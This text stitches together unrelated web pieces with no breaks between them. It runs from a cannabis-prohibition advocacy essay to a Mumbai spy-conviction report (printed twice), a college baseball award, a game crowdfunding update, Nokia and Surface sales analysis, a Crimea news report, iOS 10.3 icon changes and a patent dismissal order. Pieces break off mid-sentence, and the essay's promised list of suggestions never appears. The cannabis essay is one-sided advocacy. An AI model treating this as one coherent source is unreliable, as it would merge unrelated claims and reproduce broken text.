This state and federal conflict regarding cannabis Prohibition came into full view this year despite previous attempts otherwise by the Obama administration to modify the federal government’s historic recalcitrance in allowing states greater autonomy to create cannabis controls, and in some cases such as Colorado, to establish tax and regulatory bureaucracies specifically for medical cannabis.
Federal actions against medical cannabis in 2011 include the following:
U.S. Attorneys in California deny the city of Oakland the ability to set up a city-sanctioned arrangement with medical cannabis industry to cultivate and sell medical cannabis;
The Internal Revenue Service (IRS) ruled that medical cannabis dispensaries are not legitimate businesses under federal law and therefore can’t take standard business tax deductions;
The Bureau of Alcohol, Tobacco and Firearms (BATF) sent a memo to all gun dealers in the United States warning them not to make any sales of guns or ammunition to medical cannabis patients, even those who possess a state-issued “medical cannabis patient” card. In effect, this federal action has stripped medical cannabis patients of their Second Amendment rights;
Federal banking regulators regularly harass and threaten local and state banks not to do business with commercial medical cannabis businesses, even if the businesses have state and city-issued licenses to sell medical cannabis;
U.S. Attorneys in California and the DEA sent warning letters to otherwise state-compliant medical cannabis businesses that are properly zoned under local laws to shut down or move away from federally funded schools, day care, or recreation centers within 1,000 feet of the dispensary;
These same U.S. Attorneys are now threatening to legally pursue newspapers and magazines that advertise what are otherwise legal, state and city-authorized businesses and their lawful commerce.
Also, under numerous state Supreme Court decisions, lawful medical patients can be denied employment, along with driving privileges, child custody, Section 8 housing, and university residences. They can even be denied a life-saving organ transplant.
With so many onerous institutional discriminations and restrictions—and the price of medical cannabis remaining inordinately high because of the existence of cannabis Prohibition—patients who genuinely need access to this low toxicity, naturally occurring herbal medicine would be far better served by ending cannabis Prohibition entirely than in trying to carve out special legal exemptions to the existing Prohibition.
Why Cannabis Reform Is More Popular Now Than Ever Before
The rapid increase in public support for cannabis law reform is made possible by five factors:
Baby Boomers are now largely in control of most of the country’s major institutions (media, government, entertainment, education and business) and they have a decidedly different perception and/or relationship with cannabis than the World War II generation (AKA, the Reefer Madness generation), who largely abstained from consuming cannabis. These crushing recessionary times have forced many elected policymakers to drop their support for rigorous enforcement of cannabis Prohibition laws. Numerous states and municipalities have adopted half measures towards legalization, notably decriminalizing possession or adopting a lowest law enforcement priority strategy. Medical cannabis first becoming legal in 1996 by popular vote in California. After the nation’s largest and most politically important state adopted medical marijuana guidelines, sixteen states and the District of Columbia have followed suit setting up a terrific state vs. federal government conflict that has already visited the U.S. Supreme Court twice (2002 and again in 2005). The advent of the Internet in the mid 1990s allowed citizens to communicate directly with each other at very low costs, create large social networks of like-minded community members, avoid the mainstream media (which readily serves as a lapdog, rather than government watchdog, in the war on some drugs) and educate themselves with verifiable and credible information about cannabis (rejecting government anti-cannabis propaganda programs like the DARE program in the public schools and the Partnership for Drug-Free America’s ineffective ad campaigns in the mainstream media). Americans are apparently (and finally!) becoming increasingly cannabis Prohibition weary after seventy-four years. In comparison, America’s great failed ‘social experiment’ of alcohol Prohibition lasted about a dozen years.
Who Actually Wants Cannabis Prohibition To Continue?
One of the principal lessons in the Art of War is to ‘know thy enemy.’ Therefore, it behooves cannabis law reformers to understand what small, but powerful factions in American society actively work to maintain the status quo of Cannabis Prohibition:
Law enforcement – There is no greater strident voice against ending Cannabis Prohibition than from the law enforcement community—from local sheriffs’ departments, to the Fraternal Order of Police, to state police departments, to federal law enforcement agencies. Federal and state bureaucracies born from cannabis Prohibition itself – Washington, D.C. and most state capitals have created dozens of anti-cannabis government agencies to both maintain and enforce existing cannabis Prohibition laws. Examples: Drug Enforcement Administration, Office of National Drug Control Policy (a.k.a., drug czar’s office), DARE, Partnership for a Drug-Free America, National Institute on Drug Abuse, Substance Abuse Mental Health Services Administration, National Drug Control Information Center, et cetera. Many of these bureaucracies in turn provide most of the funding to so-called “community anti-drug organizations” to create the false appearance of local grassroots opposition to any cannabis law reforms. Alcohol, tobacco, and pharmaceutical companies –
Historically, alcohol, tobacco, and pharmaceuticals companies play both ends against the middle when opposing cannabis law reforms for the simple reason that all of these industries will lose a portion of their market share to legal cannabis. Private corporations that prosper from cannabis Prohibition – Numerous private companies donate significant funding annually to anti-cannabis politicians and organizations to maintain the status quo. Examples of such are private prisons, drug testing companies, rehabilitation services, communication companies, contraband detection devices, interdiction services, and high-tech companies.
Reformers Can Hasten the End of Cannabis Prohibition
Here are some suggestions for how to do it:MUMBAI: A sessions court on Monday sentenced a visa agent to seven years’ rigorous imprisonment for being a Pakistani spy. Mazgaon resident Javed Mozawala (32) was convicted under the Official Secrets Act after being found guilty of being in possession of sensitive documents such as the telephone directory of the defence command headquarters and pictures of vital installations. This is the second conviction of a suspected Pakistani agent in two years.Mozawala, a resident of Mazgaon (East), was arrested on December 9, 2010 on charges of spying. Elaborating on the grounds of Mozawala’s conviction (under the act’s section 4—communication with foreign agents) judge Vrushali Joshi said, “The accused was in contact with persons in the Pakistan embassy (sic) named Jamal Bhatti and Abdul Latif Bhatti who were from Pakistan.”She added: “(This) shall be relevant for the purpose of proving that he has for the purpose prejudicial to the safety or interest of the state, obtained information, which is directly useful to an enemy.”Referring to the telephone directory, the judge said it was a restricted document, which could be misused by “civilians with wrong intent”. She said the directory revealed detailed information about the functioning of the army and Pakistan’s intelligence operatives had called on the numbers to draw information about the organization, its appointments and functions. “Therefore, it is a matter of security concern.”The evidence the court took into account included pictures of the spillway section of the Lonavla Dam and the Pir Pau Jetty. “If something goes wrong at the… dam, the entire lake water will get drained into Lonavala city. There will be floods… and this will cause damage to life and property. It will cause havoc,” the judge observed. She said the jetty’s photographs could be used by the nation’s enemies to plan attacks, “causing economic distress and industrial disaster” that would affect fuel supply to Mumbai.After the conviction was pronounced, special public prosecutor Prakash Shetty sought maximum punishment for Mozawala. “This is a very serious offence. He has done it for monetary benefits,” said Shetty.Mozawala started sobbing inconsolably when the court sentenced him. His mother, Kulsum Bi, told the court, “My son is innocent. He has two little girls. Please leave him.” The judge replied, “What has happened has happened.”Mozawala told TOI, “I’m innocent. My lawyer provided favourable evidence, but the court did not consider them.”NGO Jamiat-ul-Ulama, which has given Mozawala free legal aid, said it will appeal in the Bombay high court.The police’s crime intelligence unit (CIU) claimed to have seized during their probe photocopies of 42 pages with telephone and code numbers, eight pages of instructions on how to conduct secret operations and how Islamic groups exchange messages, coloured photographs of 21 defence establishments, bridges, dams and topographies of surrounding areas, 13 visa application forms for the Pakistan high commission, and 15 Indian passports.A chargesheet running into 550 pages was filed in March 2011. The court examined 27 witnesses, including two employees of the ministry of external affairs, Mozawala’s family members, including his mother, wife and brother, and officers of the police’s special branch. Seven witnesses turned hostile.The police claimed the seized numbers were EPABX (electronic private automatic branch exchange) numbers. “We had a lot of supporting evidence… and witnesses’ statements proved conclusive,” said additional commissioner of police (crime branch) Niket Kaushik.Picking holes in the investigation, Mozawala’s lawyer had earlier said that though the police claimed that Mozawala was a frequent visitor to the Pakistani high commission in New Delhi and met a Pakistani diplomat called Bhatti, witnesses in the case could not point out the ‘Bhatti’ the police were referring to. Khan said the ministry of external affairs had confirmed in a letter that there was no one at the high commission who went by the name Jamal Bhatti.A sessions court convicted visa agent Javed Mozawala (32) on Monday, saying he had obtained information useful to the nation's enemies. Referring to a telephone directory seized from him, judge Vrushali Joshi said it was a restricted document, which could be misused by "civilians with wrong intent". She said the directory revealed detailed information about the functioning of the army and Pakistan's intelligence operatives had called on the numbers to draw information about the organization, its appointments and functions. "Therefore, it is a matter of security concern."The evidence the court took into account included pictures of Lonavla Dam and the Pir Pau Jetty. "If something goes wrong at the… dam, the entire lake water will get drained into Lonavala city. There will be floods… and this will cause damage to life and property. It will cause havoc," the judge observed. She said the jetty's photographs could be used by the nation's enemies to plan attacks, "causing economic distress and industrial disaster" that would affect fuel supply to Mumbai. Special public prosecutor Prakash Shetty sought maximum punishment for Mozawala. "This is a very serious offence. He has done it for monetary benefits," said Shetty.Mozawala started sobbing inconsolably when the court sentenced him. His mother, Kulsum Bi, told the court, "My son is innocent. He has two little girls. Please leave him." The judge replied, "What has happened has happened."Mozawala told TOI, "I'm innocent. My lawyer provided favourable evidence, but the court did not consider them."NGO Jamiat-ul-Ulama, which has given Mozawala free legal aid, said it will appeal in the Bombay high court.The police claimed to have seized during their probe photocopies of 42 pages with telephone and code numbers, eight pages of instructions on how to conduct secret operations and how Islamic groups exchange messages, coloured photographs of 21 defence establishments, bridges, dams and topographies of surrounding areas, 13 visa application forms for the Pakistan high commission, and 15 Indian passports. The chargesheet was filed in March 2011. The court examined 27 witnesses, including two employees of the ministry of external affairs, Mozawala's family members, and police officers. Seven witnesses turned hostile."We had a lot of supporting evidence… and witnesses' statements proved conclusive," said additional commissioner of police (crime branch) Niket Kaushik.Picking holes in the investigation, Mozawala's lawyer had earlier said that though the police claimed that Mozawala was a frequent visitor to the Pakistani high commission in New Delhi and met a Pakistani diplomat called Bhatti, witnesses in the case could not point out the 'Bhatti' the police were referring to. Khan said the ministry of external affairs had confirmed in a letter that there was no one at the high commission who went by the name Jamal Bhatti.LOUISVILLE, Ky. - University of Louisville junior two-way standout Brendan McKay was named Tuesday as the National Player of the Month for February by the National Collegiate Baseball Writers Association.
A native of Darlington, Pa., McKay had a prolific month, both at the plate and on the mound as UofL's Friday-night ace. Over the course of the seven-game month, McKay hit.619 (13-for-21) with a double, three homers and 11 RBI. He drew six walks and was hit by two pitches, striking out just once. In two Friday-night starts, McKay posted wins and a 0.82 ERA in 11 innings. He allowed only six hits and four walks, striking out 14.
In his career, McKay has a 23-7 record and a 1.99 ERA on the mound with four saves and 259 strikeouts over 217.1 innings. At the plate, McKay has hit.340 in his career with 159 hits, 34 doubles, 14 homers and 89 RBI, sporting a.951 OPS. A consensus first-team All-America selection in 2016, McKay is the two-time winner of the John Olerud Two-Way Player of the Year Award. This marks the second consecutive February that McKay has earned NCBWA monthly honors, winning the National Pitcher of the Month accolade in February of 2016.
LSU senior lefthander Jared Poche' was chosen as the National Pitcher of the Month for February. Founded in 1962, the NCBWA is dedicated to the advancement of college baseball. Membership is open to writers, broadcasters and publicists of the sport. For more information about the NCBWA, visit the association's official Web site, www.ncbwa.com.
The fourth-ranked and unbeaten Cardinals (11-0) return to action Wednesday at 4 p.m., ET at Jim Patterson Stadium against Fort Wayne and admission is free.
Fans can follow Louisville baseball on Twitter (@UofLBaseball) at http://twitter.com/uoflbaseball and on Facebook at http://www.facebook.com/ulbaseball.Hey guys! We made it to the S$500k final boss stretch goal fish and it's time to celebrate! WHOOOHOOOO! Great work everyone, the final boss fish is finally down! It was a tough boss but all of you took it down like it was nothing. That again, has surpassed all our expectations by a huge stretch. We were expecting it to hit the mark on the final day but it was achieved within such a short amount of time. There's still 24 hours left and that's crazy!
Shall we take a little bit of time to admire the final boss fish? It's a super huge and scary fish but we can't believe you guys have actually managed to land it. We would like to take this time to congratulate all of you and all your contributes count, no matter how big or small they are. With the final boss fish landed, we will be able to extend the end game beyond our original plan and it will improve the overall game experience by many folds.
No game is complete without a great end game so we're sure Re:Legend will be even more awesome with the End Game+ unlocked. Since the final boss fish has been explained previously and the description on the side is pretty obvious, we'll move on to the next update content as we have more to talk about today.
In order to celebrate your achievement of landing the final boss fish, we've prepared some gifts for all of you and we hope that you will like it in the game:
You will be receiving one of these wings depending on the tier that you've pledged and they are unique to the current campaign only. No wings can be found in the game in the future so they are extremely rare and this will be the only way to get them. It is a gift from us to show our gratitude and that you have contributed for a great cause. You guys are like angels that has brought Re:Legend to life so wings will suit you guys the best!
Wing tiers:
Celestial Wing: Legendary Tamer or S$1040 & above.
Shadow Wing: Blacksmith or S$420 & above.
Golden Wing: Art Collector or S$210 & above.
Silver Wing: Momochi/Draconewt Tamer or S$100 & above.
Copper Wing: Standard Copy & above.(Early birds included)
Note: Your final tier will be taken into account once the campaign has come to an end tomorrow so you can no longer edit it after the campaign.
Next up would be the Special Backers Special! We've combined 5500-6500 backers special so it will be something really special! We've seen many of you who wanted one of the concept and was sad about it being abandoned, but no worries, we're bringing it to life today! We present you the Rollfin!
Surprise surprise! The little Rollfin is alive and has grown into an awesome Magnus! This will be the first time for us to showcase a full evolution path directly and we hope that it will make some of you happy. Don't worry about other concepts being abandoned as we've planned to revive some of them from the dead as well. Hope you like how the little Rollfin turned out and more will be revived as time goes on!
That's it for today's update and sorry that there will not be a final Pick-a-Magnus today as we're busy reviving the cute little Rollfin and making the wings for all of you. For those who are disappointed, fret not as we're planning to host more Pick-a-Magnus in the future updates! Even though we can't do it every week, we would like to do it on a monthly basis if possible. We love the community interactions so much that we do not want to break the tradition, so let's keep going forward together even after the campaign has ended!
We've also created a new forum on our official website earlier today, so you guys can hang around while we're busy developing the game! <3
Official website forum: https://www.play-relegend.com/forum/
There's around 24 more hours to go so let's do the final, final push! We can do this!Nokia’s Windows (Smart)Phone performance was drowned out last week by Microsoft’s big announcement of the Surface inventory write-off. They are pieces of the same puzzle however.
First, a look at Nokia.
There were 7.4 million Lumia phones sold in Q2 with 0.5 million sold in the US. Although Windows Phones grew sequentially from 5.6 million the previous quarter, and up from 4.0 million in the same quarter last year, total smartphones are down y/y and nearly flat over the last four quarters. This is of course because Symbian phones have finally disappeared from volume shipments. The following graph shows the history of Nokia’s smartphone shipments.
Although it’s tempting to compare Lumia to iPhone (given the premium positioning in the US) the average price of €157 or $206 shows that Lumia is more adequately compared to Android. This is about a third of what Apple gets for its iPhones.
That’s not necessarily a bad thing. Nokia’s always had a knack for mass-market phones and certainly that was one reason Microsoft was attracted to them. Presumably, the promise of the relationship was to insert Windows Phone into the Nokia development and distribution pipeline, squeezing out costs and filling up channels.
The problem for the brand has been that although priced at Android levels, volumes are nowhere near and the gap is widening. At current activation rates, Android is selling 16.5x faster than Windows Phone (assuming 90% of Windows Phones are Lumia).
So Nokia’s problems become Microsoft’s problems. As bad as Nokia seems to be doing with Lumia, it’s doing a lot better than Microsoft with hardware. Here the story of the great Surface write-off should give pause. Microsoft announced that it would write off $900 million of Surface. In terms of write-offs this is pretty significant. Compare it with the debacle of the PlayBook write-off when BlackBerry (then known as RIM) wrote off $485 million for tablets it could not sell. Or with Microsoft’s own write-off for the Kin which took $240 million out of its shareholder’s pockets. The only charge for hardware that I found higher was Microsoft’s own Xbox 360 which cost it $1 billion for the “red ring of death”.
But this is not an unusual situation at Microsoft. Besides Xbox, Kin and Surface, Microsoft also declared victory in (read: shut down) SPOT watches, the Smart Display, Tablet PCs and the Zune. This is why when I heard about the Surface I asked who would be Microsoft’s Tim Cook.
By the way, $900 million write-off could amount to over 3 million devices, more if Microsoft is assuming some residual value in the inventory. Misjudging demand to such a degree that more units are disposed of than sold implies a basic failure of understanding of hardware businesses.
Which brings up the question of what Microsoft will do. They are likely to double down on hardware (also signaled by their re-org) simply because in a device world (read: post-PC) the economics of licensing Windows and Office are evaporating. The price points of EULAs simply don’t hold and there are good enough alternatives in use by the hundreds of millions of iOS and Android devices out there already. By withholding Office from iOS and Android, Microsoft has shown a billion people that they can live without it and they already knew they could live without Windows.
So rather than fight, Microsoft chose to switch. Switching from software to hardware, however, is proving very hard. I’m sure quite a bit harder than management thought.Tonks
I've been in photoshop withdraw, more like photoshop cold turkey, since I went to Ireland and now that I'm back I decided to catch up on everything I had ever missed out on. I was looking at some WW2 propaganda and for some reason I just saw Tonks as being Rosie the Riveter in Ministry of Magic propaganda for the Auror Office.
I tried a new colouring technique this time and I'm quite happy with it. It was much easier to colour this than anything else, mainly because I had the original Rosie the Riveter poster to use as a direct reference in case I needed it. I'd appreciate any feedback on this, specifically regarding the colouring, so let's face it, any feedback would be valuable.
And yes, for all your dorks and geeks out there, the bracelet she is wearing is the witchblade, because it just makes sense.Ukraine accused Russia of staging an "armed invasion" of Crimea on Friday as the ex-Soviet state's ousted leader prepared to emerge defiant from five days of hiding after winning protection from Moscow.
Unidentified armed men were patrolling outside of Crimea's main airport early Friday while gunmen were also reported to have seized another airfield on the southwest of the peninsula where ethnic Russians are a majority and where pro-Moscow sentiment runs high.
Western governments have been watching with increasing worry as Kiev's new pro-EU rulers grapple with dual threats of economic collapse and cession from Russified southern and eastern regions of the divided nation, which had backed fugitive ex-president Viktor Yanukovych.
Russian President Vladimir Putin this week stoked concerns that Moscow might use its military might to sway the outcome of Ukraine's three-month standoff by ordering snap combat drills near its border involving 150,000 troops and nearly 900 tanks.
Russian military vessels are anchored at a navy base in the Ukrainian Black Sea port of Sevastopol (REUTERS)
Ukraine's interim president Oleksandr Turchynov responded on Thursday by declaring that any movement of Russian troops out of their Black Sea bases in Crimea "will be considered as military aggression".
US Secretary of State John Kerry attempted to relieve diplomatic pressure that has increasingly assumed Cold War overtones by announcing that Russian Foreign Minister Sergei Lavrov had assured him that Moscow "will respect the territorial integrity of Ukraine."
Putin also appeared to take a more conciliatory approach late on Thursday by vowing to work on improving trade ties with Ukraine and promising to support international efforts to provide Kiev with funds that could keep it from declaring a debt default as early as next week.
Yet tensions continued to soar by the hour in the Russian-speaking Crimea - a scenic Black Sea peninsula that has housed Kremlin navies for nearly 250 years and was handed to Ukraine as a symbolic gift by a Soviet leader in 1954.
A hand-painted sign that reads: 'Crimea Russia' lies beside a flag on a barricade outside the Crimea parliament building in Simferopol (GETTY)
Ukraine's Interior Minister Arsen Avakov accused the Russian armed forces of being directly involved in armed dawn raids on an airport in Crimea's main city of Simferopol as well as an airfield on the southwestern coast.
AFP reporters saw dozens of men armed with Kalashnikovs encircle the Simferopol airport on Friday morning after reports suggested that they had briefly seized control of its runway.
An administrator told AFP the "airport was operating normally" on Friday morning despite the presence of the armed men in battle fatigues.
Several supporters of the apparently pro-Russian gunmen said the armed men arrived after reports that members of the country's new pro-EU government were planning to fly to Simferopol.
Unconfirmed reports by Ukrainian media said armed men had also seized the Belbek airfield near the city of Sevastopol, which is home to Russia's Black Sea fleet.
Avakov accused the Russian armed forces of being behind both incidents.
A soldier at Simferopol (GETTY)
He said gunmen at the Simferopol airport "are not even hiding the fact that they belong to the armed forces of the Russian Federation."
The interior minister added that the Belbek airfield was "blockaded by military units of the Russian navy."
"I consider what is happening to be an armed invasion and an occupation," Avakov said in a statement posted on his Facebook account.
But Russia's Interfax news agency quoted an unnamed source as saying that the Belbek air field was under the control of local pro-Russian self-defence units who had no links to the Black Sea fleet.
The peninsula of nearly two million people has been in crisis since dozens of pro-Kremlin gunmen seized and raised the Russian flag over Crimea's parliament and government buildings on Wednesday.
Ukrainian opposition leader Yulia Tymoshenko shakes hands with a woman as she arrives in Kiev (AFP/GETTY)
Crimean lawmakers appointed Russian Unity party member Sergiy Aksyonov as regional premier in place of Kiev-allied Anatoliy Mohilyov in a vote held late on Thursday under the watchful eye of the pro-Kremlin militia.
Aksyonov said on Friday that he still recognised Yanukovych as Ukraine's legitimate head of state.
The fugitive leader had not been seen since making a brief taped television appearance last Saturday that was aired only hours before parliament stripped him of power for a week of carnage in Kiev that claimed nearly 100 lives.
Ukraine's bloodiest crisis since its 1991 independence erupted in November when Yanukovych made the shock decision to ditch an EU trade pact in favour of closer ties with old master Russia.
The 63-year-old fugitive issued a statement to Russian news agencies from an undisclosed location on Thursday announcing that he was "compelled to ask the Russian Federation to ensure (his) personal security."
A source later told the same agencies that Yanukovych's request for protection "was satisfied on Russian territory."
The ousted leader is now expected to appear before the media at 1300 GMT in Rostov-on-Don - a Russian city less than two hours' drive from the Ukrainian border.
Yet his personal problems do not appear to be over even if Yanukovych pronounces himself to be the head of a Ukrainian government in exile.
Switzerland said on Thursday said it was prepared to freeze any funds the Yanukovych family might have in the Alpine country's banks.
It is unclear whether Yanukovych himself has funds in Switzerland. But his 40-year-old son Olexandr opened a branch of his Management Assets Company (MAKO) in Geneva in late 2011.
The Swiss weekly L'Hebdo estimates that Olexandr had amassed a personal fortune of around half a billion dollars (365 million euros) in the past three years alone.
Yulia Tymoshenko stands with Canada's Minister of Foreign Affairs John Baird prior to their talks in Kiev (AP)
Ukraine's new leaders meanwhile are suffering from Moscow's decision to freeze a $15-billion bailout package Putin promised to Yanukovych.
The leadership in Kiev won some reprieve when Kerry promised quick delivery of $1 billion in loan guarantees "with some other pieces" to follow.
Kerry said the EU was looking at loan guarantees worth some $1.5 billion for the nation of 46 million people.
Any aid would probably be funnelled through a mechanism overseen by the International Monetary Fund which had frozen its assistance programme because of Yanukovych's refusal to make painful structural changes.
IMF chief Christine Lagarde promised Thursday to send a fact-finding mission to Kiev in the coming days to launch a "preliminary dialogue with the authorities".
But Fitch Ratings warned on Friday that Ukraine's new leaders "may struggle to regain confidence and meet policy conditions attached to IMF lending."Fantasy Map Builder
Fantasy Map Builder is an online tool that will allow you to display your maps to your players during a game without revealing every detail. Once a map has been built and configured in the Map Builder, the Map Viewer will allow you to to display your map to your users on a webpage that is fully zoomable and scrollable, like any good online map, without giving the whole adventure away. It is easy to use this tool to create detailed and fully-stocked maps using the preset tiles and items in the Map Builder. These are called Grid & Tile levels. Vast dungeons can be built square by square with just a few mouse clicks. And images from anywhere on the web can be added to the map, allowing for infinite possibilities. All of the rooms and their items will be hidden the players when seen in the Map Viewer, until a single mouseclick reveals the details.
Note: The majority of the preset artwork in the Map Builder, including the walls, tiles, and item images, was created by Jonathan Roberts. The original images used can be found at The majority of the preset artwork in the Map Builder, including the walls, tiles, and item images, was created by Jonathan Roberts. The original images used can be found at http://www.fantasticmaps.com along with many more images, maps, and amazing tutorials that will help improve your mapmaking abilities.
Instead of creating an entirely new map in the Map Builder, you can also use the image of a previously created map. These levels are called Freeform Image levels. You define parts of the map to be hidden from view and only revealed on a mouse click. Each map can contain multiple levels, which can be a mix of either Grid & Tile or Freeform Image levels, which means the endless possibilities for every map.
Note: The majority of the images on this page are taken from a map that is an updated take on the Skyreach Castle map found in the last chapter of the Hoard of the Dragon Queen adventure. This updated map was created by Daniel "Empi" Pietschmann. The original site for this map can be found at The majority of the images on this page are taken from a map that is an updated take on the Skyreach Castle map found in the last chapter of the Hoard of the Dragon Queen adventure. This updated map was created by Daniel "Empi" Pietschmann. The original site for this map can be found at http://www.daniel-pietschmann.de/rpg/2015/07/26/new-battlemap-for-skyreach-castle-hotdq/
Awesome Map! But oh no! Players can see every room and now it's spoiled!
|
.S.
Multiple fact-checkers have found no connection between Clinton's campaign and the birther movement, saying instead that some Clinton supporters furthered those claims while Clinton was losing to Obama in the primary.
.@AriFleischer I was there, and you weren't, so I know it's not true. And every fact-checker and journalist in America says it's not true. — Jon Favreau (@jonfavs) September 16, 2016
Trump had spent years suggesting otherwise, leading a "birther" movement that falsely claimed Obama is ineligible for the White House.
Fleischer later tried to claim that a September 2015 comment from John Heilemann, the co-author of the 2008 campaign chronicle Game Change, proved his point.
Steve Heilemann, author of the 2008 election Game Change, said it was the case that Clinton spread the rumors. “It was the case,” he said. — Ari Fleischer (@AriFleischer) September 16, 2016
But during the segment on MSNBC's "Morning Joe," Heilemann said that "it was the case" when asked if the Clinton team spread the notion that Obama might not be a Christian, not whether he was born in the U.S.
Hours later, Fleischer corrected himself in a subsequent tweet to reflect the actual context of Heilemann's remark.
I earlier tweeted that @jheil said Hillary's staff spread the birther rumor. Correction: Hill's staff spread rumor O was Muslim. — Ari Fleischer (@AriFleischer) September 16, 2016Attorney General Eric Holder. (Susan Walsh/Associated Press)
Rep. Darrell Issa (R-Calif.), chairman of the House Oversight and Government Reform Committee, said that the Justice Department released 64,280 pages of documents Monday night related to Fast and Furious, the botched Phoenix-based gun trafficking operation, but that he wanted much more.
The operation targeted Mexican gun traffickers, but two rifles involved were linked to the killing of U.S. Border Patrol agent Brian Terry.
DOJ spokesman Brian Fallon said in a statement: “There is nothing in the materials produced today that contradicts what the Department has said in the past about this flawed operation.”
“Indeed the materials produced today affirm the Inspector General’s finding that the Attorney General was not made aware of the tactics involved in the Fast and Furious operation until February 2011,” he added.
But a statement from Issa’s panel said the documents showed that “the President and the Attorney General attempted to extend the scope of the Executive Privilege well beyond its historical boundaries to avoid disclosing documents that embarrass or otherwise implicate senior Obama Administration officials.”
How embarrassing are they? Some highlights:
In one April 2011 e-mail, as the investigation was heating up, Attorney General Eric Holder wrote senior officials that: “Issa and his idiot cronies never gave a damn about this when all that was happening was that thousands of Mexicans were being killed with guns from our country. All they want to do — in reality — is cripple ATF [the Bureau of Alcohol, Tobacco, Firearms and Explosives] and suck up to the gun lobby. Politics at its worst — maybe the media will get it.”
Holder has always claimed that he didn’t know about the tactics used in the operation until February 2011. On Feb. 23, after he was alerted to a CBS News story that had just broken, he sent an e-mail at 5:27 p.m. to senior DOJ officials saying: “Ok. We need answers on this, not defensive bs — real answers.”
In October 2011, as the controversy was gathering steam and Issa was demanding more documents, White House senior adviser Valerie Jarrett wrote Holder with a subject line “Fast and Furious.”
“I’m sorry,” she said.
“Time to go to the mattresses,” Holder responded. “Ready for the fight. Will send some of our stuff. All I have are the facts.”
Three minutes later, Jarrett responded: “Facts always work.”
Issa is hardly satisfied with the latest batch of e-mails. “When Eric Holder wants to know why he was the first Attorney General held in criminal contempt of Congress he can read the judge’s order that compelled the production of 64,280 pages that he and President Obama illegitimately and illegally withheld from Congress,” Issa said in the committee statement.
“Since these pages still do not represent the entire universe of the documents the House of Representatives is seeking related to the Justice Department’s cover-up of the botched gun-walking scandal that contributed to the death of a Border Patrol agent, our court case will continue.”Tucked away amid a flurry of new reports covering upcoming new features in Apple’s operating system updates, like Theater Mode on Apple Watch and Siri in watch apps, Night Shift on Mac and Find My AirPods on iPhone, Apple yesterday quietly announced that developers will soon be allowed to change their app’s Home screen icon programmatically, whenever they like.
In other words, an update is no longer required to push out the new icon artwork.
The seemingly unimportant change opens up a world of new possibilities for interactions with your favorite apps that simply were not possible before.
Taking advantage of the iOS 10.3 SDK, developers can now use a new Instance method to specify the primary app icon as well as one or more alternate icons.
iOS developer Steve Stroughton-Smith explained that apps must ask your permission before changing their icon. Granting permission yields an alert like the one you see below, informing you of an icon change.
It’s unclear if this dialog only shows on the first icon change an app performs.
To be fair, I’m not sure consent is required given the fact that this already happens when apps get updated and most users don’t pay attention to their app updates anyway.
Stroughton-Smith put sample app switching code on Github for everyone to see.
Interestingly, icon changing is disabled for devices enrolled in educational programs.
Stroughton-Smith claims that an app cannot change its Home screen icon unless it’s visible on the screen, but that might easily change down the road as Apple updates the SDK.
By adding multiple app icons to an app, developers are able to change their app’s Home screen icon during promotional periods like holiday sales. Theoretically speaking, games can change their icon based on your progress while weather apps may show a different icon based on the current weather conditions.
Or, an app for college students could change the icon after you select your school. In another example, a music app may display an alternate icon to indicate it is playing a song in the background and so forth. Lastly, and I’m only speculating, changing app icons could pave the way to the sought-after Dark Mode in iOS.
Bottom line: when iOS 10.3 releases, some iPhone, iPad and iPod touch apps may include multiple icon artwork and change their Home screen icon programmatically if certain conditions are met.
Aside from being able to use multiple app icons, developers will soon be able to respond publicly to user reviews on App Store and Mac App Store.
Going forward, app makers may be required to exclusively implement Apple’s new App Reviews API to standardize in-app prompts asking you to provide feedback.
No more than three such popups per year per app will be allowed.
Users will be able to turn off these prompts completely on a system-wide level within the Settings app in iOS 10.3 and in System Preferences in macOS Sierra 10.12.4 when these operating system updates release for public consumption.
Source: Apple via Steve Stroughton-SmithPaul Allen's patent infringement complaint against the world and its dog has been dismissed. The court agreed with Google et al that it "lacks adequate factual detail to satisfy the dictates of Twombly and Iqbal " and also "fails to provide sufficient factual detail as suggested by Form 18". The court doesn't agree with Allen's Interval Licensing that the two cases do not apply to patent complaints, but it doesn't even need to go there: "The Court does not find it necessary to determine whether Form 18 is no longer adequate under Twombly and Iqbal because Plaintiff's complaint fails to satisfy either the Supreme Court's interpretation of Rule 8 or Form 18." Go Google. That was their argument in their motion to dismiss, along with AOL's. Google said the complaint was too vague to meet the standard under Ashcroft v. Iqbal, 129 S. Ct. 1937 (2009) and Bell Atl. Corp. v. Twombly, 550 U.S. 544 (2007). Then, after Interval Licensing brought up the lower patent form standard it thought should apply instead, AOL jumped in saying the complaint was too vague under even that standard, and the court agreed. I'm happily surprised. Allen can refile an amended complaint with more details by no later than December 28th. But if it chooses to do so, it must be specific: Plaintiff's complaint does not satisfy Rule 8 or Form 18 because Plaintiff has failed to identify the infringing products or devices with any specificity. The Court and Defendants are left to guess what devices infringe on the four patents.... These allegations are insufficient to put Defendants on "notice as to what [they] must defend." McZeal, 501 F.3d at 1357... Merry Troll Christmas, legal eagles.
Here's the Order: 12/01/2010 - 146 - NOTICE of Rescheduled Hearing: Scheduling Conference set for 12/13/2010 at 01:30 PM in Courtroom 14206 before Judge Marsha J. Pechman.(RM) (Entered: 12/01/2010) 12/10/2010 - 147 - ORDER ON MOTIONS TO DISMISS RE: 62 80 92 Motion to Dismiss. The Court GRANTS the motion to dismiss and gives Plaintiff leave to file an amended complaint by no later than 12/28/2010, by Judge Marsha J. Pechman.(MD) (Entered: 12/10/2010) As text: **************************** UNITED STATES DISTRICT COURT
WESTERN DISTRICT OF WASHINGTON
AT SEATTLE
INTERVAL LICENSING LLC,
Plaintiff,
v.
AOL, INC.; APPLE, INC.; EBAY INC.;
FACEBOOK, INC.; GOOGLE INC.;
NETFLIX, INC.; OFFICE DEPOT, INC.;
OFFICEMAX INC.; STAPLES, INC.;
YAHOO! INC.; and YOUTUBE LLC,
